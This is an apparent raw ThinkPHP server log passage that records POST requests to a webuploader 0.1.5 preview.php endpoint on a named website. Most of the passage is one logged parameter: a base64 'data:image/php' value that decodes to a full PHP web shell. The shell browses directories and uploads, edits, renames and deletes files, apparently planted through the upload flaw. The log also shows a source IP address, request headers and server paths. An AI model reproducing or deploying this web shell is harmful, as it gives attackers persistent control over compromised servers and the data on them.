'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:52+08:00 ] 116.213.36.234 POST www.51tianwei.com/admin/include//webuploader/0.1.5/server/preview.php [运行时间:0.002540s] [吞吐率:393.72req/s] [内存消耗:196.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'include', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 